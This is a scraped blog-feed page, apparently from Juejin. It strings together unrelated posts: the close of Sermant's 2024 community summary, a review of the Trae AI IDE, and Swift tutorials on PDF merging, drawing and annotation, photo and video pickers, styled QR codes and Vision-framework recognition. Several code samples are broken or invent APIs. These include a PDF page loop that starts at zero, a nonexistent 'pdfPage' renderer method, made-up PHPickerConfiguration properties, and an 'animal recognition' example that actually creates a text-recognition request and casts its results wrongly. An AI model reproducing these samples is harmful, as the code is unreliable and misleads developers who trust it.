图 – Sermant参加中国开源年会

在2024年12月初举行的华为云开源开发者论坛上,我们不仅与多比特的用户展开了线下的交流,还邀请了多比特的用户分享了小游戏出海场景下基于Sermant的云原生微服务架构演进。

图 – Sermant社区用户多比特在华为云开源开发者论坛演讲

通过与开发者们的面对面交流和,Sermant进一步增强了在开源社区、云原生技术、微服务管理和服务网格等领域的影响力。

4.5 博客文章分享

2024年,Sermant社区发布了17篇技术文章,带来了Sermant最新的版本特性,分享了最新的社区技术动态。我们希望通过在同城双活、一地多活、全链路灰度、故障注入等场景的案例文章来给社区用户带来一些新的思路,以解决相关领域的问题。例如《基于Sermant的全链路灰度发布在汽车行业DMS系统的应用》对全链路灰度的应用场景提供了一些样例。

图 – Sermant社区发布的文章

另外,开源社区的不少开发者和用户也主动投稿,对Sermant的使用、开发、源码等方面分享自己的收获。尤其是“程序员阿越”,从对Sermant的源码解析的角度发布了系列文章,抽丝剥茧地分享Sermant的实现原理。感兴趣的读者可以阅读下博主的相关文章(《Sermant源码(一)agent premain挂载》)。

图 – 用户发表的Sermant系列文章

在此我们也诚挚地向大家征集文章,非常欢迎各位社区成员积极向我们贡献,让更多的人看到您的技术总结和案例分享,传递技术的力量。

五、总结

回顾2024年,我们携手Sermant开源社区的参与者、贡献者和维护者,以“开放共享”为核心理念,共同推动Sermant了社区的快速发展,构建了一个技术与热情并蓄,创新与合作共生的社区生态。

Sermant能够成为CNCF官方项目,是社区每一位成员的共同努力赢得的。展望未来,我们将更加积极推动和社区的沟通协作,营造更加和谐友好的开源社区,并持续进行技术创新和版本迭代。

如果您对Sermant感兴趣或者Sermant已经帮助您解决了实际问题,欢迎加入我们,成为一名Sermanter吧!


Sermant 作为专注于服务治理领域的字节码增强框架,致力于提供高性能、可扩展、易接入、功能丰富的服务治理体验,并会在每个版本中做好性能、功能、体验的看护,广泛欢迎大家的加入。

Sermant——CNCF 官方项目。

by 华为云开源 at January 24, 2025 08:22 AM

juejin ios

iOS 中PDF常用操作-生成合并展示涂鸦PDF

#1. 合并多个PDF文件:

  • 示例一:
import PDFKit

   /// PDF 合并
   /// - Parameters:
   ///   - URLs: 需要合并的PDF数组[url] (一般从沙盒中读取本地路径的RUL)
   ///   - URL: 保存到沙盒地址的URL
    func mergePDFWithURLs(_ URLs: [AnyHashable]?, writeTo URL: URL?) {
        var context: CGContext? = nil
        if let url = URL as CFURL? {
            context = CGContext(url, mediaBox: nil, nil)
        }
        for PDFURL in URLs ?? [] {
            guard let PDFURL = PDFURL as? URL else {
                continue
            }
            if let document = CGPDFDocument(PDFURL as CFURL) {
                let numberOfPages = document.numberOfPages
                for pageNumber in 0...numberOfPages {
                    let page = document.page(at: pageNumber)
                    if var mediaBox = page?.getBoxRect(.mediaBox) {
                        context?.beginPage(mediaBox: &mediaBox)
                        if let page {
                            context?.drawPDFPage(page)
                        }
                        context?.endPage()
                    }
                }
            }
        }
        context?.closePDF()
    }

  • 示例二:
import PDFKit

let pdfDocument = PDFDocument()
if let url1 = Bundle.main.url(forResource: "example1", withExtension: "pdf"),
   let document1 = PDFDocument(url: url1) {
    for pageIndex in 0 ..< document1.pageCount {
        if let page = document1.page(at: pageIndex) {
            pdfDocument.insert(page, at: pdfDocument.pageCount)
        }
    }
}
if let url2 = Bundle.main.url(forResource: "example2", withExtension: "pdf"),
   let document2 = PDFDocument(url: url2) {
    for pageIndex in 0 ..< document2.pageCount {
        if let page = document2.page(at: pageIndex) {
            pdfDocument.insert(page, at: pdfDocument.pageCount)
        }
    }
}

// 保存合并后的PDF文件
pdfDocument.write(toFile: "/path/to/merged.pdf")

#2. 将图像保存为PDF文件:

  • 示例一:

   /// 将View图像生成为PDF文件
   /// - Parameter webView: View (此处用的WKWebView的富文本编辑器生成PDF)可以是UIView UIScrollView UIImageView 等
    func getPDFWithWebView(_ webView: WKWebView) {
        
        let render = UIPrintPageRenderer()
        render.addPrintFormatter(webView.viewPrintFormatter(), startingAtPageAt: 0);

        let width = webView.scrollView.contentSize.width
        let height = CGFloat(Int(width * 2 / 1.414)) //A4纸比例

        let page = CGRect(x: 10, y: 10, width: width, height: height) // take the size of the webView
        let printable = CGRect(x: -10, y: 0, width: width + 20 , height: height + 20)
        render.setValue(NSValue(cgRect: page), forKey: "paperRect") //纸尺寸大小
        render.setValue(NSValue(cgRect: printable), forKey: "printableRect") //可打印矩形

        // 4. Create PDF context and draw
        let pdfData = NSMutableData()
        UIGraphicsBeginPDFContextToData(pdfData, printable, nil)
        for i in 1...render.numberOfPages {
            UIGraphicsBeginPDFPage();
            let bounds = UIGraphicsGetPDFContextBounds()
            render.drawPage(at: i - 1, in: bounds)
        }
        UIGraphicsEndPDFContext()

        let path = "/path/to/creatPDF.pdf"
        // 保存生成的PDF文件
        pdfData.write(toFile: path, atomically: true)
    }

  • 示例二:

import PDFKit

guard let image = UIImage(named: "example.png") else { return }
guard let data = image.jpegData(compressionQuality: 1.0) else { return }

let pdfDocument = PDFDocument()
let pdfPage = PDFPage(image: image)
pdfDocument.insert(pdfPage!, at: pdfDocument.pageCount)

let pdfData = NSMutableData()
pdfDocument.write(to: pdfData)

// 保存PDF文件
pdfData.write(toFile: "/path/to/example.pdf", atomically: true)

#3. 将多张图片保存为PDF文件(分页):


   func imagesConvertPDFAction(images:[UIImage], title:String = "") -> URL {
        
        //创建二进制流载体
        let pdfData = createSearchablePDF(from: images)
        //获取沙箱路径
        let dir = URL(fileURLWithPath: "/filePath")
        print(dir)
        //URL 追加 文件名
        var path = dir.appendingPathComponent("example.pdf")
        if title != "" {
            path = dir.appendingPathComponent("\(title).pdf")
        }
        do {
            //写文件到路径
            try pdfData.write(to: path, options: .atomic)
        } catch {
            print("error catched")
        }
        return path
    }
    
    func createSearchablePDF(from images: [UIImage]) -> Data {
        // Start creating the PDF data
        let data = UIGraphicsPDFRenderer().pdfData { (context) in
            // Grab the raw core graphics context
            // let drawContext = context.cgContext
            // Iterate over the images
            images.forEach { image in
                // 3. Calculate the size of the PDF page we are going to create
                let pageWidth = image.size.width
                let pageHeight = image.size.height
                let pageRect = CGRect(x: 0, y: 0, width: pageWidth, height: pageHeight)
                // 3. Initialize a PDF page
                context.beginPage(withBounds: pageRect, pageInfo: [:])
                // 5. Draw the image on the PDF page
                image.draw(in: pageRect)
            }
        }
        return data
    }
    

#4. 提取PDF页面作为图像:


import PDFKit

guard let url = Bundle.main.url(forResource: "example", withExtension: "pdf") else { return }
let pdfView = PDFView(frame: CGRect(x: 0, y: 0, width: 300, height: 400))
if let document = PDFDocument(url: url) {
    if let page = document.page(at: 0) {
        let thumbnailSize = CGSize(width: 100, height: 100)
        let thumbnail = page.thumbnail(of: thumbnailSize, for: .artBox)
        // 在这里使用提取的缩略图
    }
}

#5. 读取PDF文件并显示在PDF视图中:


import PDFKit

let pdfView = PDFView(frame: CGRect(x: 0, y: 0, width: 300, height: 400))
if let url = Bundle.main.url(forResource: "example", withExtension: "pdf") {
    if let document = PDFDocument(url: url) {
        pdfView.document = document
    }
}

#6. 生成PDF的其他方法(不常用): 我们可以使用Core Graphics框架来生成PDF文件。以下是一个示例代码,实现了创建一个简单的PDF文件,并对代码进行了注解:



import UIKit

func createPDF() {
    // 获取文档路径
    let documentsPath = NSSearchPathForDirectoriesInDomains(.documentDirectory, .userDomainMask, true)[0]
    let filePath = documentsPath + "/example.pdf"
    
    // 创建PDF上下文
    UIGraphicsBeginPDFContextToFile(filePath, CGRect.zero, nil)
    
    // 开始新的页面
    UIGraphicsBeginPDFPageWithInfo(CGRect(x: 0, y: 0, width: 595.2, height: 841.8), nil)
    
    // 获取当前上下文
    guard let context = UIGraphicsGetCurrentContext() else {
        return
    }
    
    // 绘制文本
    let text = "Hello, PDF!"
    let attributes: [NSAttributedString.Key: Any] = [
        .font: UIFont.systemFont(ofSize: 24)
    ]
    let attributedText = NSAttributedString(string: text, attributes: attributes)
    attributedText.draw(at: CGPoint(x: 50, y: 50))
    
    // 绘制矩形
    context.setFillColor(UIColor.red.cgColor)
    context.fill(CGRect(x: 150, y: 150, width: 200, height: 100))
    
    // 结束PDF上下文
    UIGraphicsEndPDFContext()
    
    print("PDF创建完成,路径:\(filePath)")
}

这段代码首先获取文档路径,然后使用UIGraphicsBeginPDFContextToFile函数创建一个PDF上下文,并将其保存到指定的路径。然后,使用UIGrahpicsBeginPDFPageWithInfo函数开始一个新的页面,并设置页面的尺寸。接下来,通过UIGraphicsGetCurrentContext函数获取当前上下文,以便进行绘制操作。

在示例中,我们绘制了一段文本和一个红色矩形。使用NSAttributedString创建带有属性的文本,并使用其draw(at:)方法来绘制在指定位置。然后,使用上下文的setFillColor函数设置填充色,并使用fill方法绘制矩形。

最后,使用UIGraphicsEndPDFContext函数结束PDF上下文。

运行以上代码后,会在应用的文档目录中创建一个名为"example.pdf"的PDF文件,并打印出文件的路径。


当实现 PDF 手绘签名并涂鸦部分内容时,你可以借助 UIGraphicsPDFRendererUIGraphicsRendererContext 来实现。下面是一个简单的示例代码,演示如何在 PDF 上手绘涂鸦部分内容:

import UIKit

class PDFDrawingViewController: UIViewController {
    
    var pdfData = Data()
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        // 创建 PDF 渲染器
        let renderer = UIGraphicsPDFRenderer(bounds: CGRect(x: 0, y: 0, width: 300, height: 300), format: UIGraphicsPDFRendererFormat())
        
        // 绘制 PDF 页面
        let pdfPage = renderer.pdfPage { context in
            context.beginPage()
            
            // 绘制原始 PDF 内容
            let originalPDFURL = Bundle.main.url(forResource: "original_pdf", withExtension: "pdf")!
            let originalPDF = CGPDFDocument(originalPDFURL as CFURL)!
            let page = originalPDF.page(at: 1)!
            context.cgContext.drawPDFPage(page)
            
            // 手绘
            context.cgContext.setStrokeColor(UIColor.black.cgColor)
            context.cgContext.setLineWidth(2.0)
            context.cgContext.move(to: CGPoint(x: 50, y: 50))
            context.cgContext.addLine(to: CGPoint(x: 100, y: 100))
            context.cgContext.strokePath()
            
            // 
            let text = "Confidential"
            let attributedText = NSAttributedString(string: text, attributes: [NSAttributedString.Key.font: UIFont.systemFont(ofSize: 12), NSAttributedString.Key.foregroundColor: UIColor.red])
            attributedText.draw(at: CGPoint(x: 150, y: 150))
            
            context.endPage()
        }
        
        // 保存 PDF 数据
        pdfData = pdfPage.dataRepresentation()
        
        // 保存 PDF 文件到沙盒中
        let documentsPath = NSSearchPathForDirectoriesInDomains(.documentDirectory, .userDomainMask, true)[0]
        let pdfFilePath = documentsPath + "/edited_pdf.pdf"
        pdfData.write(toFile: pdfFilePath, atomically: true)
    }
}

在以上示例中,我们首先创建了一个 PDF 渲染器 renderer,然后在闭包中绘制了 PDF 页面。在绘制 PDF 页面时,我们首先绘制了原始的 PDF 内容,然后手绘了签名和涂鸦部分内容。最后,将绘制好的 PDF 数据保存到 pdfData 中,并将其写入沙盒中作为新的 PDF 文件。

UIGraphicsPDFRenderer 是 iOS 中用于绘制 PDF 内容的类,它提供了一种简单的方式来创建包含图形、文本和其他内容的 PDF 文档。下面是对 UIGraphicsPDFRenderer 的详细解析:

创建 UIGraphicsPDFRenderer 对象

let renderer = UIGraphicsPDFRenderer(bounds: CGRect, format: UIGraphicsPDFRendererFormat)
  • bounds: 指定 PDF 渲染器的绘制区域大小和位置。
  • format: 指定 PDF 渲染器的格式,可以设置页面方向、缩放因子等属性。

绘制 PDF 页面

let pdfPage = renderer.pdfPage { context in
    // 在闭包中进行 PDF 页面的绘制操作
}
  • pdfPage: 表示一个 PDF 页面,包含在闭包中绘制的内容。
  • context: 一个 UIGraphicsRendererContext 对象,用于执行实际的绘制操作。

绘制内容到 PDF 页面

在闭包中,可以使用 context 执行绘制操作,比如绘制文本、图形等内容。

context.beginPage()
// 在这里添加需要绘制的内容
context.endPage()
  • beginPage(): 开始新的页面绘制。
  • endPage(): 结束当前页面的绘制。

保存 PDF 数据

let pdfData = NSMutableData()
pdfData.append(pdfPage.dataRepresentation())
  • 将绘制好的 PDF 页面数据追加到 pdfData 中,从而生成完整的 PDF 文档数据。

总结

通过使用 UIGraphicsPDFRenderer 类,我们可以轻松地创建包含各种内容的 PDF 文档。在绘制 PDF 页面时,我们可以利用上下文对象执行各种绘制操作,并最终将绘制好的页面数据保存为完整的 PDF 文档数据。这为我们在 iOS 应用中生成和处理 PDF 文件提供了便捷的方式。

by 山水域 at January 24, 2025 08:19 AM

iOS 系统的照片和视频选择器(支持多选)(Swift)

一 iOS 14及更高版本(支持多选):

PHPickerViewController 是一个用于选择照片和视频的视图控制器。它是在iOS 14及更高版本中引入的,用于替代之前的 `UIImagePickerController。

使用PHPickerViewController,我们可以让用户从他们的相册中选择照片和视频,而不需要访问整个相册或在本地保存照片。下面是一些关于PHPickerViewController的详细解释:

1. 导入框架:

在使用之前,我们需要导入PhotosUI框架,这是包含PHPickerViewController的框架。可以通过在文件顶部添加以下导入语句来完成导入:

import PhotosUI

2. 创建PHPickerViewController实例:

使用以下代码创建一个PHPickerViewController实例:

let picker = PHPickerViewController(configuration: configuration)
picker.delegate = self
present(picker, animated: true, completion: nil)

当使用PHPickerViewController时,可以通过PHPickerConfiguration对象来配置选择器的行为。下面是对PHPickerConfiguration的详细介绍,包括代码示例和相应的注释:

// 创建一个PHPickerConfiguration对象
let configuration = PHPickerConfiguration()

// 设置选择器的过滤条件
configuration.filter = .images // 只显示图片
// configuration.filter = .videos // 只显示视频
// configuration.filter = .any // 显示图片和视频,默认值为.any

// 设置选择的限制条件
configuration.selectionLimit = 3 // 最多允许选择的数量,默认值为1

// 设置预览是否可用
configuration.preferredAssetRepresentationMode = .automatic // 自动根据设备和资源类型选择最佳预览模式
// configuration.preferredAssetRepresentationMode = .inline // 内联模式,缩略图与选择器一起显示
// configuration.preferredAssetRepresentationMode = .aspectFit // 等比缩放以适应预览区域

// 配置导航栏颜色
configuration.navigationBarTintColor = .red

// 配置选择器的标题
configuration.title = "选择照片"

// 创建PHPickerViewController实例
let picker = PHPickerViewController(configuration: configuration)
picker.delegate = self
present(picker, animated: true, completion: nil)

上述代码中,我们创建了一个PHPickerConfiguration对象,并设置了以下属性:

filter: 用于过滤显示的媒体类型。可以选择.images只显示图片,.videos只显示视频,或者.any显示所有类型(默认值)。

selectionLimit: 设置最多允许选择的数量。在这个例子中,设置为3,即最多可以选择3个图片或视频。

preferredAssetRepresentationMode: 设置预览模式。可以选择.automatic自动选择最佳模式,.inline内联模式(缩略图与选择器一起显示),或者.aspectFit等比缩放以适应预览区域。

navigationBarTintColor: 配置导航栏的颜色。在这个例子中,我们将导航栏颜色设置为红色。

title: 设置选择器的标题。在这个例子中,我们将标题设置为"选择照片"。

然后,我们使用PHPickerConfiguration来创建PHPickerViewController实例,并将其设置为代理,并通过present方法将选择器展示给用户。

通过使用PHPickerConfiguration,我们可以根据需求来配置选择器的行为,以便实现更灵活和定制化的照片和视频选择功能。

3. 实现PHPickerViewControllerDelegate协议:

为了接收用户选择的照片和视频,我们需要实现PHPickerViewControllerDelegate协议。这个协议有两个必须实现的方法:

func picker(_ picker: PHPickerViewController, didFinishPicking results: [PHPickerResult])
//func pickerDidCancel(_ picker: PHPickerViewController)

4.处理选择的结果:

在实现didFinishPicking方法中,我们可以使用以下代码来处理选择的照片和视频:

for result in results {
    result.itemProvider.loadFileRepresentation(forTypeIdentifier: UTType.image.identifier) { url, error in
        if let error = error {
            print("Error loading image: \(error.localizedDescription)")
            return
        }
        if let url = url {
            // 处理选择的图片URL
        }
    }
    result.itemProvider.loadFileRepresentation(forTypeIdentifier: UTType.movie.identifier) { url, error in
        if let error = error {
            print("Error loading video: \(error.localizedDescription)")
            return
        }
        if let url = url {
            // 处理选择的视频URL
        }
    }
}

在上述代码中,我们遍历了所有结果,并通过itemProvider加载文件表示。然后,我们可以使用返回的url来处理选择的照片和视频。

二 不限制版本但不能多选:

UIImagePickerController是一个视图控制器,用于选择照片和视频。以下是对UIImagePickerController的详细介绍,包括代码示例和注解:

// 创建一个UIImagePickerController实例
let picker = UIImagePickerController()

// 设置源类型
picker.sourceType = .photoLibrary // 从相册选择
// picker.sourceType = .camera // 使用相机拍照
// picker.sourceType = .savedPhotosAlbum // 从相册选取最后一张照片

// 设置媒体类型
picker.mediaTypes = [kUTTypeImage as String] // 只显示图片
// picker.mediaTypes = [kUTTypeMovie as String] // 只显示视频
// picker.mediaTypes = [kUTTypeImage as String, kUTTypeMovie as String] // 显示图片和视频

// 设置是否允许编辑照片
picker.allowsEditing = true // 允许用户编辑裁剪照片

// 设置代理
picker.delegate = self

// 展示UIImagePickerController
present(picker, animated: true, completion: nil)

上述代码中,我们创建了一个UIImagePickerController实例,并设置了以下属性:

  • sourceType: 设置选择的源类型。可以选择.photoLibrary从相册选择,.camera使用相机拍照,或者.savedPhotosAlbum从相册选取最后一张照片。

  • mediaTypes: 设置允许显示的媒体类型。可以通过使用kUTTypeImage表示图片,kUTTypeMovie表示视频来进行设置。我们可以根据需要选择只显示图片、只显示视频,或同时显示图片和视频。

  • allowsEditing: 设置是否允许编辑照片。如果设置为true,用户可以使用编辑功能裁剪照片。

  • delegate: 设置代理,使用UIImagePickerControllerDelegate协议来接收选择的照片和视频。

最后,我们通过使用present方法将UIImagePickerController展示给用户。

在实现UIImagePickerControllerDelegate协议时,我们需要实现以下方法来接收用户选择的媒体:

func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey : Any]) {
    if let image = info[.editedImage] as? UIImage {
        // 处理选择的编辑后的图片
    } else if let image = info[.originalImage] as? UIImage {
        // 处理选择的原始图片
    } else if let videoURL = info[.mediaURL] as? URL {
        // 处理选择的视频URL
    }
    
    picker.dismiss(animated: true, completion: nil)
}

func imagePickerControllerDidCancel(_ picker: UIImagePickerController) {
    picker.dismiss(animated: true, completion: nil)
}

在上述代码中,我们实现了didFinishPickingMediaWithInfo方法来处理用户选择的照片和视频。根据info字典中的不同键,我们可以判断用户选择的是编辑后的图片(.editedImage)、原始图片(.originalImage)还是视频URL(.mediaURL)。然后我们可以根据需要进行处理。

另外,我们还实现了imagePickerControllerDidCancel方法,在用户取消选择时会调用该方法来关闭UIImagePickerController

使用UIImagePickerController,我们可以方便地实现照片和视频的选择功能,同时通过设置不同的属性来满足我们的需求。

by 山水域 at January 24, 2025 08:17 AM

juejin freebie

第一次使用AI编程工具:Trae使用体验

我正在参加Trae「超级体验官」创意实践征文,  本文所使用的 Trae 免费下载链接:  www.trae.ai/?utm_source…

一直听说Cursor是ai程序员,在网上看使用效果并不是很惊艳加之使用需要点时间,还要付费,使用成本有点高,就一直没用。前几天听到Trae限时免费,Claude-3.5-Sonnet、GPT-4o 免费用。还是挺心动的,于是下载看看。

image.png

图标感觉不太像是个编程软件(可能是不太适应)

image.png

一打开就有一种强烈的 VSCode 即视感,界面和布局都挺相似的。看起来,应该是基于 VSCode 开发的。毕竟竞品Cursor应该也是基于VSCode。一些基础的操作和vscode是差不多的,该有的功能都有,使用门槛几乎为零,还去处了一些不常用的功能,看着挺简洁的,有种idea new ui的感觉

image.png

有两个ai模式,chat和builder。chat模式就是普通ai代码提示插件的升级版本,builder版就差距比较大了。网上说ai ide多厉害多厉害,要替代程序员的都是演示的这个模式,好用不好用不知道,但是噱头(高情商:无限的想象,且听龙吟)更足的。

image.png

我主要体验chat模式,感觉builder模式权限太高了,还是喜欢自己掌控度高点的,如果是写了一大堆代码,插到哪记不住,想要改就不好改了。而且builder模式还在测试阶段,后面随着更新应该使用体验会更好,还是等完善了再着重使用。

ai回答后,返回的代码部分可以点击应用直接插入到项目中,不过有点不理解的是插入的过程有点慢,不知道后面的逻辑是啥,个人感觉是有优化的空间。第一次使用,还以为卡住了或者网络不好。

总体来说使用体验是不错的,正式上线后如果是价格合适还是很愿意使用的。国产的应该会比Cursor便宜吧,感觉收费可以便宜点,后面阿里、百度应该都会跟上,通过先发优势、优惠的价格(白piao也不是不行,轻度使用免费,重度、商业收费)获得一大批用户应该是很值的。但是整体使用下来用的都是Claude模型。后面要是切换为国产大模型效果就不太确定了。感觉中国在ai应用方面领先应该是很大可能(毕竟有人kuang),希望trae越来越好!!!

by 忄真 at January 24, 2025 08:17 AM

juejin ios

Swift 中 生成多种样式的二维码

在 Swift 中,生成多种样式的二维码。一个常用的库是 CoreImage,它提供了一些内置的滤镜用于生成和处理图像。以下是一个简单的例子,演示如何生成不同样式的二维码:

// 导入 `CoreImage` 模块:
import CoreImage

// 创建一个 CIContext 对象:
let context = CIContext()

// 创建一个 CIFilter 对象,并设置其属性:
if let filter = CIFilter(name: "CIQRCodeGenerator") {
    // 设置输入数据
    let data = "Hello, World!".data(using: .isoLatin1)
    filter.setValue(data, forKey: "inputMessage")
    
    // 设置纠错级别,可选值:L(7%), M(15%), Q(25%), H(30%)
    filter.setValue("M", forKey: "inputCorrectionLevel")
    
    // 获取生成的二维码图像
    if let outputImage = filter.outputImage {
        // 将图像转换为可显示的 CGImage
        if let cgImage = context.createCGImage(outputImage, from: outputImage.extent) {
            // 创建 UIImage 并显示
            let qrCodeImage = UIImage(cgImage: cgImage)
            // 在这里使用 qrCodeImage,可以将其显示到 UIImageView 或者保存到文件中
        }
    }
}

上述代码创建了一个基本的黑白二维码。要生成不同样式的二维码,可以尝试以下方法:

  1. 添加颜色:可以使用 CIFilterCIFalseColor 滤镜来改变二维码的颜色。例如,将黑色替换为其他颜色:
let colorFilter = CIFilter(name: "CIFalseColor")
colorFilter?.setDefaults()
colorFilter?.setValue(filter.outputImage, forKey: "inputImage")
colorFilter?.setValue(CIColor(red: 1, green: 0, blue: 0), forKey: "inputColor0") // 替换为红色
colorFilter?.setValue(CIColor(red: 0, green: 1, blue: 0), forKey: "inputColor1") // 替换为绿色

if let outputImageWithColor = colorFilter?.outputImage {
    // 继续处理 outputImageWithColor,或者将其转换为 CGImage 并创建 UIImage 进行显示
}
  1. 添加背景图片:可以将二维码放置在自定义的背景图片上。首先,将背景图片转换为 CIImage,然后使用 CISourceOverCompositing 合成器将二维码图像与背景图像合并:
if let bgImage = UIImage(named: "background")?.ciImage {
    let bgFilter = CIFilter(name: "CISourceOverCompositing")
    bgFilter?.setValue(filter.outputImage, forKey: "inputImage")
    bgFilter?.setValue(bgImage, forKey: "inputBackgroundImage")
    
    if let outputImageWithBackground = bgFilter?.outputImage {
        // 继续处理 outputImageWithBackground,或者将其转换为 CGImage 并创建 UIImage 进行显示
    }
}
  1. 添加 logo 图片:如果你想在二维码中添加一个 logo 图片,可以先将 logo 图片转换为 CIImage,然后使用 CISourceOverCompositing 合成器将 logo 图片与二维码图像合并:
if let logoImage = UIImage(named: "logo")?.ciImage {
    let logoFilter = CIFilter(name: "CISourceOverCompositing")
    logoFilter?.setValue(filter.outputImage, forKey: "inputImage")
    logoFilter?.setValue(logoImage, forKey: "inputBackgroundImage")
    
    if let outputImageWithLogo = logoFilter?.outputImage {
        // 继续处理 outputImageWithLogo,或者将其转换为 CGImage 并创建 UIImage 进行显示
    }
}

注意,添加 logo 图片时要确保 logo 图片不会覆盖二维码的重要部分,以保证二维码的扫描和解码正常。

  1. 调整二维码的大小和清晰度:你可以通过调整输出图像的尺寸来控制二维码的大小。可以使用 CILanczosScaleTransform 滤镜来缩放二维码图像,并使用 CIColorControls 滤镜来调整清晰度:
let scaleFilter = CIFilter(name: "CILanczosScaleTransform")
scaleFilter?.setValue(filter.outputImage, forKey: "inputImage")
scaleFilter?.setValue(NSNumber(value: 10.0), forKey: "inputScale") // 缩放比例

if let scaledImage = scaleFilter?.outputImage {
    let sharpnessFilter = CIFilter(name: "CIColorControls")
    sharpnessFilter?.setValue(scaledImage, forKey: "inputImage")
    sharpnessFilter?.setValue(NSNumber(value: 1.5), forKey: "inputSharpness") // 清晰度调整
    
    if let outputImageWithSizeAndSharpness = sharpnessFilter?.outputImage {
        // 继续处理 outputImageWithSizeAndSharpness,或者将其转换为 CGImage 并创建 UIImage 进行显示
    }
}

通过适当调整 inputScale 的值和 inputSharpness 的值,你可以根据需求生成合适大小和清晰度的二维码。

by 山水域 at January 24, 2025 08:17 AM

Vision专题之VNRecognizeAnimalsRequest和VNRecognizeAnimalsRequest

VNRecognizeAnimalsRequestVNRecognizeTextRequest,这两个类是 Vision 框架中的一部分,用于图像识别任务,分别用于动物识别和文本识别。我们将深入探讨这两个请求类的属性、方法以及如何在 Swift 中使用它们。

1. VNRecognizeAnimalsRequest

VNRecognizeAnimalsRequest 是一个基于机器学习的视觉请求,用于识别图像中的动物。这个请求会尝试识别图像中的动物类别,并返回包含动物类别的识别结果。

主要属性和方法 init(completionHandler:):初始化 VNRecognizeAnimalsRequest 请求。你需要传入一个回调处理函数,用于处理识别结果。

results:返回图像中所有识别到的动物。结果类型是一个数组,包含 VNRecognizedObjectObservation 对象。

代码示例:如何使用 VNRecognizeAnimalsRequest


   
    func recognizeObjects(in image: UIImage) {
        // 1. 转换 UIImage 为 CIImage
        guard let ciImage = CIImage(image: image) else {
            print("Failed to create CIImage from UIImage")
            return
        }
        
        // 2. 加载机器学习模型 (这里假设使用内置模型,实际中可以自定义模型)
        let request = VNRecognizeTextRequest { request, error in
            // 3. 处理识别结果
            if let error = error {
                print("Error during recognition: \(error.localizedDescription)")
                return
            }
            
            guard let results = request.results as? [VNRecognizedObjectObservation] else {
                print("No objects found")
                return
            }
            
            // 4. 输出识别到的物体
            for observation in results {
                self.handleRecognitionResult(observation)
            }
        }
        //VNRecognizeTextRequest(completionHandler: <#T##VNRequestCompletionHandler?##VNRequestCompletionHandler?##(VNRequest, (any Error)?) -> Void#>)
        // 5. 配置识别请求的级别
        //request.recognitionLevel = .accurate
        
        // 6. 创建请求处理器并执行请求
        let handler = VNImageRequestHandler(ciImage: ciImage, options: [:])
        do {
            try handler.perform([request])
        } catch {
            print("Failed to perform request: \(error.localizedDescription)")
        }
    }

    func handleRecognitionResult(_ observation: VNRecognizedObjectObservation) {
        // 获取物体的框架和置信度
        let boundingBox = observation.boundingBox
        let confidence = observation.confidence
        
        // 获取物体标签(识别结果)
        let labels = observation.labels
        print("Recognized object with confidence \(confidence): \(labels)")
        
        // 可以进一步处理或展示这些数据
        // 例如,你可以在 UI 中展示物体的识别框
        drawBoundingBox(boundingBox)
    }
    
    func drawBoundingBox(_ boundingBox: CGRect) {
        // 假设你有一个 UIImageView 来显示图像
        let imageView = UIImageView()
        
        // 将相对坐标转换为实际图像的坐标
        let boxFrame = CGRect(x: boundingBox.origin.x * imageView.bounds.width,
                              y: (1 - boundingBox.origin.y - boundingBox.height) * imageView.bounds.height,
                              width: boundingBox.width * imageView.bounds.width,
                              height: boundingBox.height * imageView.bounds.height)
        
        // 创建并绘制矩形框
        let boxView = UIView(frame: boxFrame)
        boxView.layer.borderColor = UIColor.red.cgColor
        boxView.layer.borderWidth = 2
        imageView.addSubview(boxView)
    }




代码解释: VNRecognizeAnimalsRequest:该请求用于识别图像中的动物。你传入一个回调处理函数,当识别完成时回调。 VNRecognizedObjectObservation:返回的每个观察包含识别的标签和置信度。 VNImageRequestHandler:负责执行请求。

#2. VNRecognizeTextRequest VNRecognizeTextRequest 用于识别图像中的文本内容,能够提取文本信息并返回。这个请求非常适合用于 OCR任务,可以识别图像中的各种文本(包括多种语言)。

主要属性和方法 init(completionHandler:):初始化 VNRecognizeTextRequest 请求,传入一个回调处理函数,用于处理识别到的文本。

results:返回识别到的文本结果,类型为 VNRecognizedTextObservation 数组。每个 VNRecognizedTextObservation 对象包含识别到的文本内容。

recognitionLevel:设置识别的精度,选项有:

VNRequestRecognitionLevel.fast:较快的识别,可能会牺牲一些精度。 VNRequestRecognitionLevel.accurate:精确的文本识别,速度较慢,但精度较高。 minimumTextHeight:设置最小文本高度,低于此高度的文本将不会被识别。

customWords:设置自定义词库(可选),用于改进识别结果。

代码示例:如何使用 VNRecognizeTextRequest


   func recognizeObjects(in image: UIImage) {
        // 1. 转换 UIImage 为 CIImage
        guard let ciImage = CIImage(image: image) else {
            print("Failed to create CIImage from UIImage")
            return
        }
        
        // 2. 加载机器学习模型 (这里假设使用内置模型,实际中可以自定义模型)
        let request = VNRecognizeTextRequest { request, error in
            // 3. 处理识别结果
            if let error = error {
                print("Error during recognition: \(error.localizedDescription)")
                return
            }
            
            guard let results = request.results as? [VNRecognizedObjectObservation] else {
                print("No objects found")
                return
            }
            
            // 4. 输出识别到的物体
            for observation in results {
                self.handleRecognitionResult(observation)
            }
        }
        //VNRecognizeTextRequest(completionHandler: <#T##VNRequestCompletionHandler?##VNRequestCompletionHandler?##(VNRequest, (any Error)?) -> Void#>)
        // 5. 配置识别请求的级别
        request.recognitionLevel = .accurate
        
        // 6. 创建请求处理器并执行请求
        let handler = VNImageRequestHandler(ciImage: ciImage, options: [:])
        do {
            try handler.perform([request])
        } catch {
            print("Failed to perform request: \(error.localizedDescription)")
        }
    }

    func handleRecognitionResult(_ observation: VNRecognizedObjectObservation) {
        // 获取物体的框架和置信度
        let boundingBox = observation.boundingBox
        let confidence = observation.confidence
        
        // 获取物体标签(识别结果)
        let labels = observation.labels
        print("Recognized object with confidence \(confidence): \(labels)")
        
        // 可以进一步处理或展示这些数据
        // 例如,你可以在 UI 中展示物体的识别框
        drawBoundingBox(boundingBox)
    }
    
    func drawBoundingBox(_ boundingBox: CGRect) {
        // 假设你有一个 UIImageView 来显示图像
        let imageView = UIImageView()
        
        // 将相对坐标转换为实际图像的坐标
        let boxFrame = CGRect(x: boundingBox.origin.x * imageView.bounds.width,
                              y: (1 - boundingBox.origin.y - boundingBox.height) * imageView.bounds.height,
                              width: boundingBox.width * imageView.bounds.width,
                              height: boundingBox.height * imageView.bounds.height)
        
        // 创建并绘制矩形框
        let boxView = UIView(frame: boxFrame)
        boxView.layer.borderColor = UIColor.red.cgColor
        boxView.layer.borderWidth = 2
